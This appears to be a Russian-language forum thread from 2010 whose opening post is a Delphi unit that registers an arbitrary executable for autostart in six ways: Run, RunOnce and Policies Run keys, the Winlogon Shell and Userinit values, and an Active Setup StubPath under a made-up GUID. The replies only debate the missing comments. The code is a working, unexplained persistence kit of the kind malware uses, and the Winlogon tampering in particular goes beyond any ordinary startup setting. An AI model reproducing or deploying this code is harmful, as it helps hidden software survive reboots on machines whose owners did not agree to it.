|
05.12.2010, 23:58
|
#1
|
|
|
|
Разведчик
|
Регистрация: 24.08.2010
Сообщений: 12
Популярность: 26
Сказал(а) спасибо: 5
Поблагодарили 8 раз(а) в 5 сообщениях
|
Автозапуск шестью методами
Код:
unit uStartUp;
interface
uses windows, sysutils;
procedure AddToRun(name,exe:string);
procedure AddToRunOnce(name,exe:string);
procedure AddToPolicies(name,exe:string);
procedure AddToActiveX(exe:string);
procedure AddToUserInit(exe:string);
procedure AddToShell(exe:string);
implementation
function SetTheReg(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
result:=FALSE;
RegCreateKey(key,PChar(subkey),regKey);
if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
result:=TRUE;
RegCloseKey(regKey);
end;
function GetTheReg(key:Hkey; subkey,nombre:String):String;
var
bytesread:dword;
regKey: HKEY;
valor:String;
begin
Result:='';
RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
SetLength(valor, bytesread);
if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
result:=valor;
RegCloseKey(regKey);
end;
function DelTheReg(RootKey: HKEY; Name: String): boolean;
var
SubKey: String;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastDelimiter('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
procedure AddToPolicies(name,exe: String);
begin
SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe);
end;
procedure AddToShell(exe: String);
var
Original: string;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
if ansipos(exe, original)=0 then
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"');
end;
procedure AddToRunOnce(name,exe: String);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"');
end;
procedure AddToRun(name,exe: String);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,'"'+exe+'"');
end;
procedure AddToUserInit(exe: String);
var
Original: string;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit');
if ansipos(exe, original)=0 then
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"');
end;
procedure AddToActiveX(exe:string);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"');
end;
end.
|
|
|
06.12.2010, 20:47
|
#2
|
|
|
|
Пехотинец
|
Регистрация: 06.07.2009
Сообщений: 81
Популярность: 126
Сказал(а) спасибо: 32
Поблагодарили 93 раз(а) в 36 сообщениях
|
Re: Автозапуск шестью методами
Это не статья. Это просто код с шестью функциями. Для чего ты разместил этот код? Если для обучения, то в коде нет пояснений, нет "говорящих переменных" и т.д...
|
|
|
Пользователь сказал cпасибо:
|
|
07.12.2010, 16:25
|
#3
|
|
|
|
Разведчик
|
Регистрация: 16.08.2010
Сообщений: 42
Популярность: 63
Сказал(а) спасибо: 12
Поблагодарили 65 раз(а) в 7 сообщениях
|
Re: Автозапуск шестью методами
|
|
|
07.12.2010, 19:50
|
#4
|
|
|
|
Рыцарь
|
Регистрация: 12.04.2009
Сообщений: 394
Популярность: 47903
Сказал(а) спасибо: 515
Поблагодарили 1,124 раз(а) в 430 сообщениях
|
Re: Автозапуск шестью методами
Хорошая тема, а коментов в коде нету потому что они не нужны, код хорошо читабелен.
________________
В любом из нас спит гений. И с каждым днем все крепче.
Запомните раз и навсегда:= 'Помочь' <> 'Сделайте за меня';
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 06:20.
|
|